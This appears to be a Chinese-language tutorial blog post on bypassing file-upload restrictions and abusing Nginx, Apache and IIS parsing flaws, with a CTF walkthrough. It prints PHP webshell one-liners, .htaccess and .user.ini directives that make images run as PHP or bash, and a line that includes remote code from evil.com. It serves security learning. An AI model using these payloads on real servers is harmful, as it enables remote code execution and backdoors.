文件上传漏洞

大部分是需要回显储存路径才能打后续操作的,如果没有回显路径要不再想想。?(雾)

前端检测

前端检测上传文件的后缀,js检测直接禁用js

后端检测

检测content-type

检测你发包的Content-Type参数来判断文件上传类型

image-20250416151018927

一般你改一下content-type就可以绕过了

检测文件头判断文件类型

字义,使用getimagesize()函数来获取文件的MIME类型,此时检测的不是数据包中的content-type,而是文件头

这种时候伪造一下就可以

gif(GIF89a) : 47 49 46 38 39 61 
jpg、jpeg : FF D8 FF 
png : 89 50 4E 47 0D 0A

用winhex、010editor等十六进制处理工具,在数据最前面添加图片的文件头,从而绕过检测,或者你直接在包的头写个GIF89a也是可以过的

后端检测文件拓展名

用拓展名的黑名单来检测文件拓展名从而防止危险文件的上传

绕过:

1)使用一些特殊扩展名来绕过,php可以用php3、php4、php5代替

2)大小写混淆绕过

3)在文件名后加.(空格,点,空格),利用windows特性绕过

4)在文件名后加::$data绕过(NTFS流读入)

5)有替换的话可以双写绕过


当然也可以是白名单只让特定的文件上传

绕过:

存储路径可以使用%00在最后进行截断,(注意:GET型可以对%00自动解码,但POST型不能,需要在二进制中修改//打开你的010喵,用空格占个位来输00)

后端检测文件内容

文件内容替换

检测原理:

在后端处理上传的文件时,会将将文件中的敏感字符替换掉。
参考代码

<?php
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];

if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
        file_put_contents($file, $content);
        echo 'Success!<br>';
} else {
        echo 'Error!<br>';
}
?>

绕过方法:
根据实际过滤的字符来判断,(一般不会限制所有敏感字符,因为还要兼顾图片上传)

图片二次渲染

检测原理:
后端调用了php的GD库,提取了文件中的图片数据,然后再重新渲染,这样图片中插入的恶意代码就会被过滤掉了

绕过方法:
比较过滤前后文件内容,一般不会全部过滤。
比较使用php-gd转换之前和之后的gif图像,并搜索它们之间的任何相似性,因此,如果我在原始文件中找到相似的部分,则在使用php-gd转换后也保留了该部分然后我可以在那部分注入我的PHP代码并获得RCE

条件竞争

该漏洞形成逻辑:
网站允许上传文件,然后检查上传文件是否包含webshell、是否是指定的文件类型。如果不是,那么删除该文件。在删除之前访问上传的php文件,从而执行上传文件中的php代码。

绕过方法:
先进行文件上传,后进行判断与删除。利用时间差进行webshell上传。
竞争条件代码举例:

<?php
	fputs(fopen('shell.php','w'),'<?php @eval($\_POST\["cmd"\])?>');
?>

判断是否删除

import requests  
while true:  
	requests.get(”路径“)

WAF

当文件完全被ban,只用以图片类型上传的时候,我们该怎么办呢

上传.htaccess文件绕过

.htaccess文件是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录

类似内容

ForceType application/x-httpd-php
SetHandler application/x-httpd-php
这些都会把上传的文件强制解析为php

上传.user.ini文件绕过

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

那么什么是.user.ini?这得从php.ini说起了。php.iniphp默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

img

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别。

所以除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。我们可以很容易地借助.user.ini文件,更改auto_prepend_file配置项,来构造一个“后门”。

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

实例([SUCTF 2019]CheckIn1):

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htaccess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

绕过技巧

1.针对过滤包含phhtaccess扩展名的文件:上传.user.ini与图片马,利用.user.ini进行文件包含2.针对过滤文件内容包含<?的文件:使用php的脚本标记风格<script language='php'>3.针对使用exif_imagetype规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)

首先上传.user.ini文件,文件内容为:

GIF89a
auto_prepend_file=shell.png

然后构造一个shell.png,内容如下:

GIF89a
<script language='php'> @eval($_POST['hack']); </script>

然后将两个文件分别上传到服务器上,拿到回显

奇奇怪怪的绕过

利用一下文件包含上传一个压缩包来getshell

这里不细讲

Ngnix解析漏洞

文件解析漏洞

对于任意文件名,在后面添加/abc.php(abc为任意字符)后,即可将文件作为php解析

漏洞机理

Nginx配置导致,而非nginx版本问题,而取决于php的配置文件 php.ini 文件中是否开启了 cgi.fix_pathinfo

当访问xxx.jpg/abc.php时,nginx查看URL后发现以php结尾,并将路径传递给phpfastcgi处理程序,php看到xxx.jpg/abc.php不存在,便删除去最后的/abc.php,看到xxx.jpg存在,而后以php的形式执行xxx.jpg的内容

大概的来说,就是cgi.fix_pathinfo会对形如/1.aaa/2.bbb/3.cccc的文件路径进行处理,若该路径不存在,则会去掉最后的子路径再次判断直到找到一个存在的路径。

若关闭该选项,访问/xxx.jpg/abc.php会返回找不到文件,但关闭该选项可能会导致一些其他错误,所以默认开启。

在高版本中,引入了security.limit_extensions来纠正这个错误,限制了可执行文件的后缀,默认只允许执行.php文件。防止这一问题(回显Access denied)

空字节RCE

Nginx在遇到%00空字节时与后段FastCGI处理不一致,导致可以在图中嵌入PHP代码然后通过访问1.jpg%00.php来执行其中的代码。

影响版本

nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37

该漏洞不受cgi.fix_pathinfo影响,当为0时,依旧可以解析

CVE-2013-4547(%20%00)

影响版本

nginx 0.8.41 ~ 1.5.6

原理是非法字符空格和截止符(%00)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.jpg ”,注意文件名的最后一个字符是空格。则可以通过访问:http://127.0.0.1/file.jpg \0.php

让Nginx认为文件“file.jpg ”的后缀为.php

来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。

测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(\0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAjpg ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如图1964477-20200308194656774-1403436835

修改完毕后Forward该请求,在浏览器中看到:

1964477-20200308194716298-1059932045

我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。

继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,上传到服务器。文件内容为:

<?php phpinfo(); ?>

用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示

1964477-20200308194746793-602361880

修改完毕后 Forword 该请求,在浏览器中看到:Access denied ,好吧,又是这个。

这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。但是由于security.limit_extensions的存在,导致我们并不能利用此漏洞

Apache解析漏洞

文件名解析漏洞

Apache从右向左判断解析文件,若无法解析再继续向左判断,如1.php.owf.rar这个文件名,Apache无法解析.owf.rar两个后缀,于是继续向前解析将其解析为1.php

实际上许多后缀都可以被解析为php文件进行处理,这里贴一下其他师傅的文章

image-20250417211410728

原链接:https://www.cnblogs.com/yokan/p/12444476.html

.htaccess文件

是Apache下的一个配置文件,负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。

生效前提:
AllowOverride被启用/AllowOverride Options FileInfo
mod_rewrite 模块开启
cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释

这里放几个常用的配置

AddType application/x-httpd-php .jpg

这里代码的意思可以让 .jpg后缀名文件格式的文件名以php格式解析

CGI启动方式利用

Options ExecCGI (表示允许CGI执行,若AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了。)
AddHandler cgi-script .xx(将.xx后缀的文件当成CGI程序解析)
#AddHandler application/x-httpd-php .php (给php后缀增加了处理器,这样即使有多个后缀,只要含有php后缀就会被识别为php文件)

下面是网上一个师傅的利用

image-20250418083343333

image-20250418083404184

FastCGI利用

依赖mod_fcgid.so,默认安装包里是没有这个so文件的,但是在PHPstudy的默认配置中是已经加载了的,并且AllowOverrride也是All权限

Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif

文件包含利用

php_value auto_prepend_file +文件绝对路径(默认是当前上传的目录)

预先包含我们指定的文件

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt

如果若我们预先包含.htaccess文件呢?效果是我们插入的恶意代码就会被任意包含

大概像这样构造

php_value auto_prepend_file ".htaccess"%0a#<?php phpinfo();?>

同时这个漏洞也可以造成xss漏洞和其他的一些文件包含漏洞

正经写入

#
<IfModule mime_module>
AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

#
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
较为精准,不容易误伤
这边看到还有个写法:
<FilesMatch   "shell"> 
SetHandler  application/x-httpd-php 
</FilesMatch> (意思是把文件名中含shell的都当作php解析,包括还有一个正则的写法)

#
<IfModule mime_module>
AddType application/x-httpd-php .gif (将.gif文件按照php代码进行解析执行)
AddHandler php5-script .jpg	(将.jpg文件按照php代码进行解析执行)
Sethandler application/x-httpd-php (将该目录及子目录下的文件均按照php文件解析执行)
</IfModule>
容易误伤

CVE-2017-15715

在文件后缀后加上%0a,绕过getshell

目录遍历

配置 Options +Indexes 时Apache存在目录遍历漏洞。

lighttpd

xx.jpg/xx.php

IIS

解析目录解析漏洞(/test.asp/1.jpg)

在 IIS5.x/6.0 中,在网站下建立文件夹的名字为*.asp、*.asa、*.cer、*.cdx 的文件夹,那么其目录内的任何扩展名的文件都会被IIS当做asp文件来解释并执行。例如创建目录 test.asp,那么 /test.asp/1.jpg 将被当做asp文件来执行。假设黑客可以控制上传文件夹路径,就可以不管上传后你的图片改不改名都能拿shell了

文件名解析漏洞(test.asp;.jpg)

在 IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。而有些网站对用户上传的文件进行校验,只是校验其后缀名。所以我们只要上传 *.asp;.jpg、*.asa;.jpg、*.cer;.jpg 后缀的文件,就可以通过服务器校验,并且服务器会把它当成asp文件执行。

畸形解析漏洞(test.jpg/*.php)

微软发布了IIS7.0修补了IIS6.0的解析漏洞,没想到IIS7.0爆出更严重的畸形解析漏洞,于是微软急忙发布了IIS7.5

在 IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码

img

将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,此时神奇的畸形解析开始发挥作用啦。test.jpg将会被服务器当成php文件执行,所以图片里面的代码就会被执行。我们会神奇的发现在 /upload 目录下创建了一个一句话木马文件 shell.php

临时解决办法:设置 cgi.fix_pathinfo为0`

其他解析漏洞

在windows环境下,**xx.jpg[**空格]xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点都会被windows自动消除。

同时推荐一篇比较有意思的文章,lz自己没怎么看懂,但是感觉蛮有意思的

Black Hat USA 2024:利用Apache HTTP服务器中隐藏的语义歧义进行攻击! | 长亭百川云